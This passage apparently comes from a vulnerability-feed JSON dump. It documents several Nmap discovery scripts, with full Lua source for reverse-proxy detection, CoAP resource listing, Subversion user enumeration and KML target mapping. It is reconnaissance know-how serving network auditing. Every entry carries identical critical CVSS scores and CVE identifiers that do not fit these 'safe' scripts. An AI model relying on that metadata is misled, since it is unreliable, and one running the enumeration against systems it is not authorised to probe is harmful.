<targets>\n \n\n## Script Output \n \n \n PORT STATE SERVICE REASON\n 80/tcp open http syn-ack\n | http-traceroute:\n | HTML title\n | Hop #1: Twitter / Over capacity\n | Hop #2: t.co / Twitter\n | Hop #3: t.co / Twitter\n | Status Code\n | Hop #1: 502\n | Hop #2: 200\n | Hop #3: 200\n | server\n | Hop #1: Apache\n | Hop #2: hi\n | Hop #3: hi\n | content-type\n | Hop #1: text/html; charset=UTF-8\n | Hop #2: text/html; charset=utf-8\n | Hop #3: text/html; charset=utf-8\n | content-length\n | Hop #1: 4833\n | Hop #2: 3280\n | Hop #3: 3280\n | last-modified\n | Hop #1: Thu, 05 Apr 2012 00:19:40 GMT\n | Hop #2\n |_ Hop #3\n\n## Requires \n\n * [http](<../lib/http.html>)\n * [nmap](<../lib/nmap.html>)\n * [shortport](<../lib/shortport.html>)\n * [stdnse](<../lib/stdnse.html>)\n * [table](<>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2012-05-20T15:42:33", "type": "nmap", "title": "http-traceroute NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2015-11-05T20:41:05", "id": "NMAP:HTTP-TRACEROUTE.NSE", "href": "https://nmap.org/nsedoc/scripts/http-traceroute.html", "sourceData": "local http = require \"http\"\nlocal nmap = require \"nmap\"\nlocal shortport = require \"shortport\"\nlocal stdnse = require \"stdnse\"\nlocal table = require \"table\"\n\ndescription = [[\nExploits the Max-Forwards HTTP header to detect the presence of reverse proxies.\n\nThe script works by sending HTTP requests with values of the Max-Forwards HTTP\nheader varying from 0 to 2 and checking for any anomalies in certain response\nvalues such as the status code, Server, Content-Type and Content-Length HTTP\nheaders and body values such as the HTML title.\n\nBased on the work of:\n* Nicolas Gregoire (nicolas.gregoire@agarri.fr)\n* Julien Cayssol (tools@aqwz.com)\n\nFor more information, see:\n* http://www.agarri.fr/kom/archives/2011/11/12/traceroute-like_http_scanner/index.html\n]]\n\n---\n-- @args http-traceroute.path The path to send requests to. Defaults to <code>/</code>.\n-- @args http-traceroute.method HTTP request method to use. Defaults to <code>GET</code>.\n-- Among other values, TRACE is probably the most interesting.\n--\n-- @usage\n-- nmap --script=http-traceroute <targets>\n--\n--@output\n-- PORT STATE SERVICE REASON\n-- 80/tcp open http syn-ack\n-- | http-traceroute:\n-- | HTML title\n-- | Hop #1: Twitter / Over capacity\n-- | Hop #2: t.co / Twitter\n-- | Hop #3: t.co / Twitter\n-- | Status Code\n-- | Hop #1: 502\n-- | Hop #2: 200\n-- | Hop #3: 200\n-- | server\n-- | Hop #1: Apache\n-- | Hop #2: hi\n-- | Hop #3: hi\n-- | content-type\n-- | Hop #1: text/html; charset=UTF-8\n-- | Hop #2: text/html; charset=utf-8\n-- | Hop #3: text/html; charset=utf-8\n-- | content-length\n-- | Hop #1: 4833\n-- | Hop #2: 3280\n-- | Hop #3: 3280\n-- | last-modified\n-- | Hop #1: Thu, 05 Apr 2012 00:19:40 GMT\n-- | Hop #2\n-- |_ Hop #3\n\nauthor = \"Hani Benhabiles\"\n\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\n\ncategories = {\"discovery\", \"safe\"}\n\n\nportrule = shortport.service(\"http\")\n\n--- Attempts to extract the html title\n-- from an HTTP response body.\n--@param responsebody Response's body.\nlocal function extract_title (responsebody)\n return responsebody:match \"<title>(.-)</title>\"\nend\n\n--- Attempts to extract the X-Forwarded-For header\n-- from an HTTP response body in case of TRACE requests.\n--@param responsebody Response's body.\nlocal function extract_xfwd (responsebody)\n return responsebody:match \"X-Forwarded-For: [^\\r\\n]*\"\nend\n\n--- Check for differences in response headers, status code\n-- and html title between responses.\n--@param responses Responses to compare.\n--@param method Used HTTP method.\nlocal compare_responses = function(responses, method)\n local response, key\n local results = {}\n local result = {}\n local titles = {}\n local interesting_headers = {\n 'server',\n 'via',\n 'x-via',\n 'x-forwarded-for',\n 'content-type',\n 'content-length',\n 'last-modified',\n 'location',\n }\n\n -- Check page title\n for key,response in pairs(responses) do\n titles[key] = extract_title(response.body)\n end\n if titles[1] ~= titles[2] or\n titles[1] ~= titles[3] then\n\n table.insert(results, 'HTML title')\n for key,response in pairs(responses) do\n table.insert(result, \"Hop #\" .. key .. \": \" .. titles[key])\n end\n table.insert(results, result)\n end\n\n -- Check status code\n if responses[1].status == 502 or\n responses[1].status == 483 or\n responses[1].status ~= responses[2].status or\n responses[1].status ~= responses[3].status then\n\n result = {}\n table.insert(results, 'Status Code')\n for key,response in pairs(responses) do\n table.insert(result, \"Hop #\" .. key .. \": \" .. tostring(response.status))\n end\n table.insert(results, result)\n end\n\n -- Check headers\n for _,header in pairs(interesting_headers) do\n -- Compare header of different responses\n if responses[1].header[header] ~= responses[2].header[header] or\n responses[1].header[header] ~= responses[3].header[header] then\n\n result = {}\n table.insert(results, header)\n for key,response in pairs(responses) do\n if response.header[header] ~= nil then\n table.insert(result, \"Hop #\" .. key .. \": \" .. tostring(response.header[header]))\n else\n table.insert(result, \"Hop #\" .. key)\n end\n end\n table.insert(results, result)\n end\n end\n\n -- Check for X-Forwarded-For in the response body\n -- when using TRACE method\n if method == \"TRACE\" then\n local xfwd = extract_xfwd(responses[1].body)\n if xfwd ~= nil then\n table.insert(results, xfwd)\n end\n end\n\n return results\nend\n\naction = function(host, port)\n local path = stdnse.get_script_args(SCRIPT_NAME .. '.path') or \"/\"\n local method = stdnse.get_script_args(SCRIPT_NAME .. '.method') or \"GET\"\n local responses = {}\n local detected = \"Possible reverse proxy detected.\"\n\n for i = 0,2 do\n local response = http.generic_request(host, port, method, path, { ['header'] = { ['Max-Forwards'] = i }, ['no_cache'] = true})\n table.insert(responses, response)\n end\n\n -- Check results\n local results = compare_responses(responses, method)\n if results ~= nil and nmap.verbosity() == 1 then\n return stdnse.format_output(true,detected)\n else\n return stdnse.format_output(true,results)\n end\nend\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T21:46:22", "description": "Dumps list of available resources from CoAP endpoints. \n\nThis script establishes a connection to a CoAP endpoint and performs a GET request on a resource. The default resource for our request is <code>/.well-known/core</core>, which should contain a list of resources provided by the endpoint. \n\nFor additional information: \n\n * <https://en.wikipedia.org/wiki/Constrained_Application_Protocol>\n * <https://tools.ietf.org/html/rfc7252>\n * <https://tools.ietf.org/html/rfc6690>\n\n## Script Arguments \n\n#### coap-resources.uri \n\nURI to request via the GET method, `/.well-known/core` by default.\n\n## Example Usage \n \n \n nmap -p U:5683 -sU --script coap-resources <target>\n \n\n## Script Output \n \n \n PORT STATE SERVICE REASON\n 5683/udp open coap udp-response ttl 36\n | coap-resources:\n | /large:\n | rt: block\n | sz: 1280\n | title: Large resource\n | /large-update:\n | ct: 0\n | rt: block\n | sz: 55\n | title: Large resource that can be updated using PUT method\n | /link1:\n | if: If1\n | rt: Type1 Type2\n |_ title: Link test resource\n \n\n## Requires \n\n * [coap](<../lib/coap.html>)\n * [shortport](<../lib/shortport.html>)\n * [stdnse](<../lib/stdnse.html>)\n * [stringaux](<../lib/stringaux.html>)\n * [table](<>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2016-09-08T21:19:55", "type": "nmap", "title": "coap-resources NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2018-10-18T01:08:19", "id": "NMAP:COAP-RESOURCES.NSE", "href": "https://nmap.org/nsedoc/scripts/coap-resources.html", "sourceData": "local coap = require \"coap\"\nlocal shortport = require \"shortport\"\nlocal stdnse = require \"stdnse\"\nlocal stringaux = require \"stringaux\"\nlocal table = require \"table\"\n\ndescription = [[\nDumps list of available resources from CoAP endpoints.\n\nThis script establishes a connection to a CoAP endpoint and performs a\nGET request on a resource. The default resource for our request is\n<code>/.well-known/core</core>, which should contain a list of\nresources provided by the endpoint.\n\nFor additional information:\n* https://en.wikipedia.org/wiki/Constrained_Application_Protocol\n* https://tools.ietf.org/html/rfc7252\n* https://tools.ietf.org/html/rfc6690\n]]\n\n---\n-- @usage nmap -p U:5683 -sU --script coap-resources <target>\n--\n-- @output\n-- PORT STATE SERVICE REASON\n-- 5683/udp open coap udp-response ttl 36\n-- | coap-resources:\n-- | /large:\n-- | rt: block\n-- | sz: 1280\n-- | title: Large resource\n-- | /large-update:\n-- | ct: 0\n-- | rt: block\n-- | sz: 55\n-- | title: Large resource that can be updated using PUT method\n-- | /link1:\n-- | if: If1\n-- | rt: Type1 Type2\n-- |_ title: Link test resource\n--\n-- @args coap-resources.uri URI to request via the GET method,\n-- <code>/.well-known/core</code> by default.\n--\n-- @xmloutput\n-- <table key=\"/\">\n-- <elem key=\"ct\">0</elem>\n-- <elem key=\"title\">General Info</elem>\n-- </table>\n-- <table key=\"/ft\">\n-- <elem key=\"ct\">0</elem>\n-- <elem key=\"title\">Faults Reporting</elem>\n-- </table>\n-- <table key=\"/mn\">\n-- <elem key=\"ct\">0</elem>\n-- <elem key=\"title\">Monitor Reporting</elem>\n-- </table>\n-- <table key=\"/st\">\n-- <elem key=\"ct\">0</elem>\n-- <elem key=\"title\">Status Reporting</elem>\n-- </table>\n-- <table key=\"/time\">\n-- <elem key=\"ct\">0</elem>\n-- <elem key=\"obs,</devices/block>;title\">Devices Block</elem>\n-- <elem key=\"title\">Internal Clock</elem>\n-- </table>\n-- <table key=\"/wn\">\n-- <elem key=\"ct\">0</elem>\n-- <elem key=\"title\">Warnings Reporting</elem>\n-- </table>\n\nauthor = \"Mak Kolybabi <mak@kolybabi.com>\"\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\ncategories = {\"safe\", \"discovery\"}\n\n-- TODO: Add 5684 \"coaps\" if DTLS support is added\nportrule = shortport.port_or_service(5683, \"coap\", \"udp\")\n\nformat_payload = function(payload)\n -- Leave strings alone.\n if type(payload) == \"string\" then\n return payload\n end\n\n local tbl = stdnse.output_table()\n\n -- We want to go through all of the links in alphabetical order.\n table.sort(payload, function(a,b) return a.name < b.name end)\n\n for _, link in ipairs(payload) do\n -- We want to go through all of the parameters in alphabetical\n -- order.\n table.sort(link.parameters, function(a,b) return a.name < b.name end)\n\n local row = stdnse.output_table()\n for _, param in ipairs(link.parameters) do\n row[param.name] = param.value\n end\n\n tbl[link.name] = row\n end\n\n return tbl\nend\n\nget_blocks = function(helper, options, b2opt, payload, max_reqs)\n -- Initialize the block table to store all of our received blocks.\n local blocks = {}\n blocks[b2opt.number] = payload\n\n -- If we don't know the number of the last block, we'll need to use\n -- the largest number we've seen as the maxumum.\n local max = b2opt.number\n\n -- If the first block we received happens to be the last one, either\n -- by being a one-block sequence or by the endpoint sending us the\n -- last block in the sequence first, we want to record the final\n -- number in the sequence.\n local last = nil\n if b2opt.more == false then\n last = b2opt.number\n max = b2opt.number\n end\n\n -- We'll continue to request blocks that are the same size as the\n -- original block, since the endpoint likely prefers that.\n local length = b2opt.length\n\n -- We want to track the number of requests we make so that a\n -- malicious endpoint can't keep us on the hook forever.\n for req = 1, max_reqs do\n -- Determine if there are any blocks in the sequence that we have\n -- not yet received.\n local top = max + 1\n if last then\n top = last\n end\n\n local num = top\n for i = 0, top do\n if not blocks[i] then\n num = i\n break\n end\n end\n\n -- If the block we think we're missing is at the end of the\n -- sequence, we've got them all.\n if last and num >= last then\n stdnse.debug3(\"All %d blocks have been retrieved.\", last)\n break\n end\n\n -- Create the request.\n local opts = {\n [\"code\"] = \"get\",\n [\"type\"] = \"confirmable\",\n [\"options\"] = {\n {[\"name\"] = \"block2\", [\"value\"] = {\n [\"number\"] = num,\n [\"more\"] = false,\n [\"length\"] = length\n }}\n }\n }\n\n local components = stringaux.strsplit(\"/\", options.uri)\n for _, component in ipairs(components) do\n if component ~= \"\" then\n table.insert(opts.options, {[\"name\"] = \"uri_path\", [\"value\"] = component})\n end\n end\n\n -- Send the request and receive the response.\n stdnse.debug3(\"Requesting block %d of size %d.\", num, length)\n local status, response = helper:request(opts)\n if not status then\n return false, response\n end\n\n if not response.payload then\n return false, \"Response did not contain a payload.\"\n end\n\n -- Check for the presence of the block2 option, and if it's\n -- missing then we're going to stop.\n b2opt = coap.COAP.header.find_option(response, \"block2\")\n if not b2opt then\n stdnse.debug1(\"Stopped requesting more blocks, response found without block2 option.\")\n break\n end\n\n stdnse.debug3(\"Received block %d of size %d.\", b2opt.number, b2opt.length)\n blocks[b2opt.number] = response.payload\n\n if b2opt.more == false then\n stdnse.debug3(\"Block %d indicates it is the end of the sequence.\", b2opt.number, b2opt.length)\n last = b2opt.number\n max = b2opt.number\n elseif b2opt.number > max then\n max = b2opt.number\n end\n end\n\n -- Reassemble payload, handling potentially missing blocks.\n local result = \"\"\n for i = 1, max do\n if not blocks[i] then\n stdnse.debug3(\"Block %d is missing, replacing with dummy data.\", i)\n result = result .. (\"<! missing block %d!>\"):format(i)\n else\n result = result .. blocks[i]\n end\n end\n\n return true, result\nend\n\nlocal function parse_args ()\n local args = {}\n\n local uri = stdnse.get_script_args(SCRIPT_NAME .. '.uri')\n if not uri then\n uri = \"/.well-known/core\"\n end\n args.uri = uri\n\n return true, args\nend\n\naction = function(host, port)\n local output = stdnse.output_table()\n\n -- Parse and sanity check the command line arguments.\n local status, options = parse_args()\n if not status then\n output.ERROR = options\n return output, output.ERROR\n end\n\n -- Create an instance of the CoAP library's client object.\n local helper = coap.Helper:new(host, port)\n\n -- Connect to the CoAP endpoint.\n local status, response = helper:connect({[\"uri\"] = options.uri})\n if not status then\n -- Erros at this stage indicate we're probably not talking to a CoAP server,\n -- so we exit silently.\n return nil\n end\n\n -- Check that the response is a 2.05, otherwise we don't know how to\n -- continue.\n if response.code ~= \"content\" then\n -- If the port runs an echo service, we'll see an unexpected 'get' code.\n if response.code == \"get\" then\n -- Exit silently, this has all been a mistake.\n return nil\n end\n\n -- If the requested resource wasn't found, that's okay.\n if response.code == \"not_found\" then\n stdnse.debug1(\"The target reports that the resource '%s' was not found.\", options.uri)\n return nil\n end\n\n -- Otherwise, we assume that we're getting a legitimate CoAP response.\n output.ERROR = (\"Server responded with '%s' code where 'content' was expected.\"):format(response.code)\n return output, output.ERROR\n end\n\n local result = response.payload\n if not result then\n output.ERROR = \"Payload for initial response was not part of the packet.\"\n return output, output.ERROR\n end\n\n -- Check for the presence of the block2 option, which indicates that\n -- we'll need to perform more requests.\n local b2opt = coap.COAP.header.find_option(response, \"block2\")\n if b2opt then\n -- Since the block2 option was used, the payload should be an unparsed string.\n assert(type(result) == \"string\")\n\n local status, payload = get_blocks(helper, options, b2opt, result, 64)\n if not status then\n output.ERROR = result\n return output, output.ERROR\n end\n result = result .. payload\n\n -- Parse the payload.\n local status, parsed = coap.COAP.payload.parse(response, result)\n if not status then\n stdnse.debug1(\"Failed to parse payload: %s\", parsed)\n stdnse.debug1(\"Falling back to returning raw payload as last resort.\")\n output[\"Raw CoAP response\"] = result\n return output, stdnse.format_output(true, output)\n end\n\n result = parsed\n end\n\n -- Regardless of whether the block2 option was used, we should now have a\n -- parsed payload in some format or another. For now, they should all be\n -- strings or tables.\n assert(type(result) == \"string\" or type(result) == \"table\")\n\n -- If the payload has been parsed, and we requested the default\n -- resource, then we know how to format it nicely.\n local formatted = result\n if true then\n formatted = format_payload(result)\n end\n\n return formatted\nend\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T21:42:51", "description": "Enumerates users of a Subversion repository by examining logs of most recent commits.\n\n## Script Arguments \n\n#### http-svn-enum.url \n\nThis is a URL relative to the scanned host eg. /default.html (default: /).\n\n#### http-svn-enum.count \n\nThe number of logs to fetch. Defaults to the last 1000 commits.\n\n#### slaxml.debug \n\nSee the documentation for the [slaxml](<../lib/slaxml.html#script-args>) library. \n\n#### smbdomain, smbhash, smbnoguest, smbpassword, smbtype, smbusername \n\nSee the documentation for the [smbauth](<../lib/smbauth.html#script-args>) library. \n\n#### http.host, http.max-body-size, http.max-cache-size, http.max-pipeline, http.pipeline, http.truncated-ok, http.useragent \n\nSee the documentation for the [http](<../lib/http.html#script-args>) library. \n\n## Example Usage \n \n \n nmap --script http-svn-enum <target>\n \n\n## Script Output \n \n \n PORT STATE SERVICE REASON\n 443/tcp open https syn-ack\n | http-svn-enum:\n | Author Count Revision Date\n | gyani 183 34965 2015-07-24\n | robert 1 34566 2015-06-02\n | david 2 34785 2015-06-28\n \n\n## Requires \n\n * [http](<../lib/http.html>)\n * [shortport](<../lib/shortport.html>)\n * [slaxml](<../lib/slaxml.html>)\n * [stdnse](<../lib/stdnse.html>)\n * [tab](<../lib/tab.html>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2015-07-25T09:56:07", "type": "nmap", "title": "http-svn-enum NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2017-08-15T07:26:00", "id": "NMAP:HTTP-SVN-ENUM.NSE", "href": "https://nmap.org/nsedoc/scripts/http-svn-enum.html", "sourceData": "local http = require \"http\"\nlocal shortport = require \"shortport\"\nlocal slaxml = require \"slaxml\"\nlocal stdnse = require \"stdnse\"\nlocal tab = require \"tab\"\n\ndescription = [[Enumerates users of a Subversion repository by examining logs of most recent commits.\n]]\n\n---\n-- @usage nmap --script http-svn-enum <target>\n--\n-- @args http-svn-enum.count The number of logs to fetch. Defaults to the last 1000 commits.\n-- @args http-svn-enum.url This is a URL relative to the scanned host eg. /default.html (default: /).\n--\n-- @output\n-- PORT STATE SERVICE REASON\n-- 443/tcp open https syn-ack\n-- | http-svn-enum:\n-- | Author Count Revision Date\n-- | gyani 183 34965 2015-07-24\n-- | robert 1 34566 2015-06-02\n-- | david 2 34785 2015-06-28\n--\n-- @xmloutput\n-- <table></table>\n-- <table>\n-- <elem>Author</elem>\n-- <elem>Count</elem>\n-- <elem>Revision</elem>\n-- <elem>Date</elem>\n-- </table>\n-- <table>\n-- <elem>gyani</elem>\n-- <elem>183</elem>\n-- <elem>34965</elem>\n-- <elem>2015-07-24</elem>\n-- </table>\n-- <table>\n-- <elem>robert</elem>\n-- <elem>1</elem>\n-- <elem>34566</elem>\n-- <elem>2015-06-02</elem>\n-- </table>\n-- <table>\n-- <elem>david</elem>\n-- <elem>2</elem>\n-- <elem>34785</elem>\n-- <elem>2015-06-28</elem>\n-- </table>\n\nauthor = \"Gyanendra Mishra\"\n\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\n\ncategories = {\"default\", \"discovery\", \"safe\"}\n\nlocal ELEMENTS = {\n [\"creator-displayname\"] = \"author\",\n [\"version-name\"] = \"version\",\n [\"date\"] = \"date\",\n}\n\nlocal function get_callback(name, unames, temp)\n if ELEMENTS[name] then\n return function(content)\n if not content then content = \"unknown\" end --useful for \"nil\" authors\n temp[ELEMENTS[name]] = name == \"date\" and content:sub(1, 10) or content\n if temp.date and temp.version and temp.author then\n unames[temp.author] = {unames[temp.author] and unames[temp.author][1] + 1 or 1, temp.version, temp.date}\n end\n end\n end\nend\n\nportrule = shortport.http\n\naction = function(host, port)\n\n local count = tonumber(stdnse.get_script_args(SCRIPT_NAME .. \".count\")) or 1000\n local url = stdnse.get_script_args(SCRIPT_NAME .. \".url\") or \"/\"\n local output, revision, unames = tab.new(), nil, {}\n\n local options = {\n header = {\n [\"Depth\"] = 0,\n },\n }\n\n -- first we fetch the current revision number\n local response = http.generic_request(host, port, \"PROPFIND\", url, options)\n if response and response.status == 207 then\n\n local parser = slaxml.parser:new()\n parser._call = {startElement = function(name)\n parser._call.text = name == \"version-name\" and function(content) revision = tonumber(content) end end,\n closeElement = function(name) parser._call.text = function() return nil end end\n }\n parser:parseSAX(response.body, {stripWhitespace=true})\n\n if revision then\n\n local start_revision = revision > count and revision - count or 1\n local content = '<?xml version=\"1.0\"?> <S:log-report xmlns:S=\"svn:\"> <S:start-revision>'.. start_revision .. '</S:start-revision> <S:discover-changed-paths/> </S:log-report>'\n\n options = {\n header = {\n [\"Depth\"] = 1,\n },\n content = content,\n }\n\n local temp = {}\n response = http.generic_request(host, port, \"REPORT\", url, options)\n if response and response.status == 200 then\n\n parser._call.startElement = function(name) parser._call.text = get_callback(name, unames, temp) end\n parser._call.closeElement = function(name) if name == \"log-item\" then temp ={} end parser._call.text = function() return nil end end\n parser:parseSAX(response.body, {stripWhitespace=true})\n\n tab.nextrow(output)\n tab.addrow(output, \"Author\", \"Count\", \"Revision\", \"Date\")\n\n for revision_author, data in pairs(unames) do\n tab.addrow(output, revision_author, data[1], data[2], data[3])\n end\n\n if next(unames) then return output end\n end\n end\n end\nend\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T21:41:39", "description": "This script queries the Nmap registry for the GPS coordinates of targets stored by previous geolocation scripts and produces a KML file of points representing the targets.\n\n### See also:\n\n * [ ip-geolocation-geoplugin.nse ](<../scripts/ip-geolocation-geoplugin.html>)\n * [ ip-geolocation-ipinfodb.nse ](<../scripts/ip-geolocation-ipinfodb.html>)\n * [ ip-geolocation-map-bing.nse ](<../scripts/ip-geolocation-map-bing.html>)\n * [ ip-geolocation-map-google.nse ](<../scripts/ip-geolocation-map-google.html>)\n * [ ip-geolocation-maxmind.nse ](<../scripts/ip-geolocation-maxmind.html>)\n\n## Script Arguments \n\n#### ip-geolocation-map-kml.map_path \n\n(REQUIRED)\n\n## Example Usage \n \n \n nmap -sn -Pn --script ip-geolocation-geoplugin,ip-geolocation-map-kml --script-args ip-geolocation-map-kml.map_path=map.kml <target>\n \n\n## Script Output \n \n \n | ip-geolocation-map-kml:\n |_ The map has been saved at 'map.kml'.\n \n\n## Requires \n\n * [geoip](<../lib/geoip.html>)\n * [io](<>)\n * [oops](<../lib/oops.html>)\n * [stdnse](<../lib/stdnse.html>)\n * [table](<>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2016-12-17T14:37:35", "type": "nmap", "title": "ip-geolocation-map-kml NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2019-09-20T04:40:20", "id": "NMAP:IP-GEOLOCATION-MAP-KML.NSE", "href": "https://nmap.org/nsedoc/scripts/ip-geolocation-map-kml.html", "sourceData": "local geoip = require \"geoip\"\nlocal io = require \"io\"\nlocal oops = require \"oops\"\nlocal stdnse = require \"stdnse\"\nlocal table = require \"table\"\n\ndescription = [[\nThis script queries the Nmap registry for the GPS coordinates of targets stored\nby previous geolocation scripts and produces a KML file of points representing\nthe targets.\n]]\n\n---\n-- @usage\n-- nmap -sn -Pn --script ip-geolocation-geoplugin,ip-geolocation-map-kml --script-args ip-geolocation-map-kml.map_path=map.kml <target>\n--\n-- @output\n-- | ip-geolocation-map-kml:\n-- |_ The map has been saved at 'map.kml'.\n--\n-- @args ip-geolocation-map-kml.map_path (REQUIRED)\n--\n-- @see ip-geolocation-geoplugin.nse\n-- @see ip-geolocation-ipinfodb.nse\n-- @see ip-geolocation-map-bing.nse\n-- @see ip-geolocation-map-google.nse\n-- @see ip-geolocation-maxmind.nse\n\nauthor = \"Mak Kolybabi <mak@kolybabi.com>\"\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\ncategories = {\"safe\"}\n\nlocal render = function(path)\n local kml = {'<?xml version=\"1.0\" encoding=\"UTF-8\"?>\\n<kml xmlns=\"http://www.opengis.net/kml/2.2\">\\n <Document>'}\n\n for ip, coords in pairs(geoip.get_all_by_ip()) do\n table.insert(kml, ([[\n <Placemark>\n <name>%s</name>\n <Point>\n <coordinates>%s,%s</coordinates>\n </Point>\n </Placemark>]]):format(ip, coords[\"longitude\"], coords[\"latitude\"])\n )\n end\n\n table.insert(kml, ' </Document>\\n</kml>\\n')\n\n kml = table.concat(kml, \"\\n\")\n\n local f = io.open(path, \"w\")\n if not f then\n return false, (\"Failed to open file '%s'.\"):format(path)\n end\n\n if not f:write(kml) then\n return false, (\"Failed to write file '%s'.\"):format(path)\n end\n\n f:close()\n\n return true, (\"The map has been saved at '%s'.\"):format(path)\nend\n\nlocal parse_args = function()\n local map_path = stdnse.get_script_args(SCRIPT_NAME .. '.map_path')\n if not map_path then\n return false, \"Need to specify a path for the map.\"\n end\n\n return true, map_path\nend\n\npostrule = function()\n -- Only run if a previous script has registered geolocation data.\n return not geoip.empty()\nend\n\naction = function()\n -- Parse and sanity check the command line arguments.\n local status, path = oops.raise(\n \"Script argument problem\",\n parse_args())\n if not status then\n return path\n end\n\n -- Render the map.\n return oops.output(render(path))\nend\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T21:45:20", "description": "Detects the Freelancer game server (FLServer.exe) service by sending a status query UDP probe. \n\nWhen run as a version detection script (`-sV`), the script will report on the server name, current number of players, maximum number of players, and whether it has a password set. When run explicitly (`--script freelancer-info`), the script will additionally report on the server description, whether players can harm other players, and whether new players are allowed. \n\nSee <http://sourceforge.net/projects/gameq/> (relevant files: games.ini, packets.ini, freelancer.php)\n\n## Example Usage \n \n \n nmap -sU -sV -p 2302 <target>\n nmap -sU -p 2302 --script=freelancer-info <target>\n\n## Script Output \n \n \n PORT STATE SERVICE REASON VERSION\n 2302/udp open freelancer udp-response Freelancer (name: Discovery Freelancer RP 24/7; players: 152/225; password: no)\n | freelancer-info:\n | server name: Discovery Freelancer RP 24/7\n | server description: This is the official discovery freelancer RP server. To know more about the server, please visit www.discoverygc.com\n | players: 152\n | max. players: 225\n | password: no\n | allow players to harm other players: yes\n |_ allow new players: yes\n \n\n## Requires \n\n * [comm](<../lib/comm.html>)\n * [nmap](<../lib/nmap.html>)\n * [shortport](<../lib/shortport.html>)\n * [string](<>)\n * [stdnse](<../lib/stdnse.html>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": 